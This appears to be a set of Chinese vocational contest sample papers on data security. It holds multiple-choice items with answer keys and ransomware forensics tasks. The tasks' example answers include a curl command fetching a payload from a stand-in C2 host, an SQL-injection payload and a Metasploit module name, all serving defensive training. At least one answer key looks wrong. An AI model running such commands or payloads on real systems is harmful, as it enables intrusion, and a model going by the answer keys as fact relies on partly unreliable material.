**2026年河北省职业院校学生技能大赛**

**“数据安全技术与应用”赛项样题二**

**样题一：**

1. **模块一数据安全理论知识考核**
2. **赛项描述**

题目类型为单选题和多选题。

1. **题目样例**

1. DSS算法和RSA算法应用上的不同之处是( )。

1. DSS只能用于加密，而RSA可以加密和签名
2. DSS只能用于签名，而RSA可以加密和签名
3. RSA只能用于加密，而DSS可以加密和签名
4. RSA只能用于签名，而DSS可以加密和签名

正确答案：B

2. 数字签名有哪些特性( )。

1. 通过数字签名能验证签字产生者的身份，及签字的日期和时间
2. 数字签名能用于证实被签消息的内容
3. 数字签名可由第三方验证，从而解决通信双方的争议
4. 数字签名文件不能被公开，防止签名被窃取

正确答案：ABC

1. **模块一数据安全风险评估与处置**
2. **赛项描述**

该赛项考察内容为网络安全事件响应和数字调查取证两个部分。

1. **任务书**

**任务一：网络安全应急响应**

本任务提供的素材文件类型为：Server服务器，相关日志文件，相关流量文件。

小明是A集团的运维工程师。某日，他发现公司一台重要的WebServer服务器上的关键业务文件（如数据库备份、源码）被加密，文件后缀被统一修改为.locked，并出现了名为README\_FOR\_DECRYPT.html的勒索提示文件。安全团队初步判断服务器已遭受黑客入侵并植入了勒索软件。作为信息安全工程师，请你立即启动应急响应，开展取证调查，追溯攻击链，并尝试恢复被加密的文件。。

按答题卡的要求完成该部分的工作任务。

题目样例：

1. 通过对Web访问日志的分析，发现攻击者最初是通过一个已公开的Web应用漏洞进行入侵的。提交攻击者成功利用漏洞时发起请求的URL路径。例如：/api/v1/upload
2. 攻击者在漏洞利用过程中，上传了一个用于获取初始shell的恶意脚本。提交该脚本在服务器上的临时存储路径。例如：/tmp/.upload\_12345
3. 该脚本执行后，会从远程服务器下载勒索软件主体。提交用于下载勒索软件的完整命令行。例如：curl -s http://malicious-c2.com/tool/ransom.bin -o /tmp/.sysupdate
4. ......

**任务二：数字调查取证**

本任务提供的素材文件类型：network.pcapng

在对A集团WEB服务器的访问日志进行深度分析时，安全团队发现了一系列可疑的HTTP/HTTPS流量，表明攻击者可能通过WEB应用漏洞实施攻击并窃取数据。

题目样例：

1. 攻击者尝试进行SQL注入攻击，提交其在POST请求中注入的布尔盲注payload（前30个字符）。例如：admin' AND '1'='1' --
2. 流量中捕获到攻击者尝试上传Webshell，提交其用于绕过文件类型检查的HTTP请求头部修改方式。例如：修改Content-Type为image/jpeg18.
3. 攻击者通过Webshell执行命令，流量中检测到命令执行的结果回传。提交其用于编码命令输出结果的编码方式（如：base64，hex）。例如：base64
4. ......

**样题二：**

1. **模块一数据安全理论知识考核**
2. **赛项描述**

题目类型为单选题和多选题。

1. **题目样例**

1. Base64算法中的打印字符不包含( )。

1. 大小写字母
2. 0-9的数字
3. 符号+和/
4. 符号=

正确答案：D

2. RC4算法广泛用于( )。

1. TLS
2. 比特币应用
3. 802.11
4. SSL

正确答案：ACD

1. **模块一数据安全风险评估与处置**
2. **赛项描述**

该赛项考察内容为网络安全事件响应和数字调查取证两个部分。

1. **任务书**

**任务一：网络安全应急响应**

题目样例：本任务提供的素材文件类型为：Server服务器，相关日志文件，相关流量文件。

小明是A集团的运维工程师。某日，他发现公司一台重要的WebServer服务器上的关键业务文件（如数据库备份、源码）被加密，文件后缀被统一修改为.locked，并出现了名为README\_FOR\_DECRYPT.html的勒索提示文件。安全团队初步判断服务器已遭受黑客入侵并植入了勒索软件。作为信息安全工程师，请你立即启动应急响应，开展取证调查，追溯攻击链，并尝试恢复被加密的文件。

按答题卡的要求完成该部分的工作任务。

题目样例：

1. 勒索软件开始运行前，会先尝试结束可能与它冲突的进程（如杀毒软件、备份工具）。提交它试图结束的某个特定安全服务进程名。例如：sav-protect.service
2. 勒索软件在遍历文件进行加密时，会排除某些系统关键目录以避免导致系统崩溃。提交一个被排除的绝对路径目录。例如：/proc/
3. 通过对内存转储的分析，发现勒索软件在加密文件时使用了一个由C2服务器下发的临时密钥（会话密钥）。提交在内存中存储此密钥的变量名（部分即可）。例如：SessKey\_
4. ...

**任务二：数字调查取证**

本任务提供的素材文件类型：network.pcapng

在对A集团WEB服务器的访问日志进行深度分析时，安全团队发现了一系列可疑的HTTP/HTTPS流量，表明攻击者可能通过WEB应用漏洞实施攻击并窃取数据。

题目样例：

1. 攻击者在已控主机上建立了DNS隧道进行数据渗漏。提交用于隧道通信的恶意域名。例如：data.exfil.dnstunnel[.]org  
   2. 分析DNS隧道流量，发现攻击者使用TXT记录查询传输窃取的数据。提交每个DNS查询请求中用于标识数据块的唯一参数名。例如：seq  
   3. 攻击者利用ICMP协议进行内网主机存活探测。提交其使用的ICMP数据包中填充的特定字符串（前8个字符）。例如：PINGTEST  
   4. ......

**样题三：**

1. **模块一数据安全理论知识考核**
2. **项目描述**

题目类型为单选题和多选题。

1. **题目样例**

1．MD5算法输出为( )位。

1. 64位
2. 96位
3. 128位
4. 256位

正确答案：C

2. 公钥密码体制可以实现下面哪应用场景( )。

A.加密应用

B.认证应用

C.同时实现加密和认证应用

D.哈希应用

正确答案：ABD

1. **模块一数据安全风险评估与处置**
2. **项目描述**

该赛项考察内容为网络安全事件响应和数字调查取证两个部分。

1. **任务书**

**任务一：网络安全应急响应**

本任务提供的素材文件类型为：Server服务器，相关日志文件，相关流量文件。

小明是A集团的运维工程师。某日，他发现公司一台重要的WebServer服务器上的关键业务文件（如数据库备份、源码）被加密，文件后缀被统一修改为.locked，并出现了名为README\_FOR\_DECRYPT.html的勒索提示文件。安全团队初步判断服务器已遭受黑客入侵并植入了勒索软件。作为信息安全工程师，请你立即启动应急响应，开展取证调查，追溯攻击链，并尝试恢复被加密的文件。

按答题卡的要求完成该部分的工作任务。

题目样例：

1. 在服务器的临时目录中，发现了勒索软件运行出错时留下的一个调试日志片段。该日志中包含了一个用于加密文件的主密钥的密文（由攻击者的RSA公钥加密）。提交此密文的前16个字符。例如：2C3E5A7F9011B4D6
2. 进一步调查网络连接记录，发现攻击者在植入勒索软件前，曾通过另一台已控主机（跳板机）进行中转。提交该跳板机的IP地址。例如：172.16.23.45
3. 在分析攻击者的其他遗留工具时，发现了一个未完全删除的脚本，其中硬编码了一个用于解密测试的“万能密钥”（仅供攻击者调试用）。提交该密钥字符串。例如：#DEBUG\_KEY\_DO\_NOT\_USE#
4. ......

**任务二：数字调查取证**

本任务提供的素材文件类型：network.pcapng

在对A集团WEB服务器的访问日志进行深度分析时，安全团队发现了一系列可疑的HTTP/HTTPS流量，表明攻击者可能通过WEB应用漏洞实施攻击并窃取数据。

题目样例：

1. 攻击者已控制一台内网机器，其首先扫描了内网网段，提交其扫描的/24网段地址。例如：192.168.10.0
2. 攻击者发现了一台开启SMB服务的机器，提交该目标主机的IP地址。例如：192.168.10.25
3. 攻击者利用永恒之蓝（MS17-010）漏洞进行攻击，提交其使用的Metasploit模块名称。例如：exploit/windows/smb/ms17\_010\_eternalblue
4. 攻击者横向移动成功后，在新机器上创建了一个计划任务作为后门，提交该计划任务的名称。例如：WindowsUpdateTask
5. ......

**样题四：**

1. **模块一数据安全理论知识考核**
2. **项目描述**

题目类型为单选题和多选题。

1. **题目样例**

1. 以下哪个选项是TCP SYN拒绝服务攻击的特征（ ）。

A.伪造源IP地址向目标仅发送SYN报文

B.伪造源IP地址向目标发送SYN+ACK报文

C. 伪造源IP地址向目标发送不设置任何标志位的TCP报文

D. TCP SYN报文中，源IP与目的IP相同，均指向受害主机

正确答案：A

2**.**在应急响应的准备阶段，需要完成的事项有（ ）。

1. 风险评估
2. 业务影响分析
3. 系统恢复能力等级设定
4. 恢复目标确定

正确答案：ABCD

1. **模块一数据安全风险评估与处置**
2. **项目描述**

该赛项考察内容为网络安全事件响应和数字调查取证两个部分。

1. **任务书**

**任务一：网络安全应急响应**

本任务提供的素材文件类型为：Server服务器，相关日志文件，相关流量文件。

小明是A集团的运维工程师。某日，他发现公司一台重要的WebServer服务器上的关键业务文件（如数据库备份、源码）被加密，文件后缀被统一修改为.locked，并出现了名为README\_FOR\_DECRYPT.html的勒索提示文件。安全团队初步判断服务器已遭受黑客入侵并植入了勒索软件。作为信息安全工程师，请你立即启动应急响应，开展取证调查，追溯攻击链，并尝试恢复被加密的文件。

按答题卡的要求完成该部分的工作任务。

题目样例：

1. 攻击者发送钓鱼邮件的主题是什么？提交邮件主题。例如：关于2025年第四季度奖金发放的通知.exe
2. 员工点击邮件中的链接后，下载并运行了一个伪装成文档的可执行文件。提交该恶意文件的SHA256哈希值的前10位。例如：a1b2c3d4e5
3. 该恶意文件运行后，在受害主机上建立了持久化后门。提交攻击者创建的计划任务名称。例如：MicrosoftEdgeUpdateTask
4. ...

**任务二：数字调查取证**

本任务提供的素材文件类型：network.pcapng

在对A集团WEB服务器的访问日志进行深度分析时，安全团队发现了一系列可疑的HTTP/HTTPS流量，表明攻击者可能通过WEB应用漏洞实施攻击并窃取数据。

题目样例：

1. 流量中检测到攻击者对内部网络进行的端口扫描，提交其扫描的TCP端口范围（格式：开始端口-结束端口）。例如：445-455
2. 攻击者利用PsExec工具进行横向移动，在流量中捕获到SMB认证过程。提交攻击者在SMB会话中使用的用户名。例如：Administrator
3. 攻击者成功横向移动到域控服务器，并尝试转储域内哈希。提交其使用的攻击工具名称（从流量中的可执行文件传输识别）。例如：Mimikatz
4. ...

**样题五：**

1. **模块一数据安全理论知识考核**
2. **项目描述**

题目类型为单选题和多选题。

1. **题目样例**

1**.**按照一定的规则自动抓取互联网信息的程序或者脚本，称为（ ）。

1. 搜索引擎
2. 网络监听器
3. 网络爬虫
4. 网络扫描器

正确答案：C

2.为了防范基于MySQL的注入提权，可以采取（）等安全措施。

A. 禁止使用root账号运行MySQL

B. 设置root账号的密码为强密码

C. 禁用SELECT、INSERT、DELETE、DROP等操作命令

D. 对MySQL执行程序进行降权

正确答案：ABD

1. **模块一数据安全风险评估与处置**
2. **项目描述**

该赛项考察内容为网络安全事件响应和数字调查取证两个部分。

1. **任务书**

**任务一：网络安全应急响应**

本任务提供的素材文件类型为：Server服务器，相关日志文件，相关流量文件。

A集团WebServer服务器遭受黑客入侵，涉及多台Linux主机。攻击者在服务器上植入恶意软件，对服务器进行持续监听。作为信息安全工程师，需立即启动网络安全应急响应，依据现有环境信息开展取证调查，追溯服务器被攻击过程，定位恶意软件或后门程序，并分析黑客入侵路径与攻击手段。

按答题卡的要求完成该部分的工作任务。

题目样例：

1. 在攻击者的跳板主机上，发现了一个未删除的日志文件，其中记录了加密密钥。提交该密钥。例如：MySuperSecretKey123!
2. 使用发现的密钥解密被窃取的数据压缩包。解密后，在源代码中找到一处硬编码的数据库密码。提交该密码。例如：root@123456
3. 攻击者在数据窃取成功后，删除了数据库服务器上的原始数据。但通过恢复数据库日志，找到了被删除数据的最后备份时间。提交该时间（格式：YYYY-MM-DD HH:MM:SS）。例如：2023-10-05 03:14:15
4. ...

**任务二：数字调查取证**

本任务提供的素材文件类型：network.pcapng

在对A集团WEB服务器的访问日志进行深度分析时，安全团队发现了一系列可疑的HTTP/HTTPS流量，表明攻击者可能通过WEB应用漏洞实施攻击并窃取数据。

题目样例：

1. 攻击者将窃取的敏感数据打包压缩，流量中检测到压缩文件的传输。提交压缩包的文件格式。例如：7z
2. 通过关联分析所有C2通信的指纹，发现攻击者使用了某款知名攻击框架。提交该框架的名称。例如：Cobalt Strike
3. 攻击者在完成数据窃取后，尝试清除日志并断开连接。流量中最后捕获到其发送的关闭隧道指令，提交该指令的关键字。例如：CLEANUP
4. ......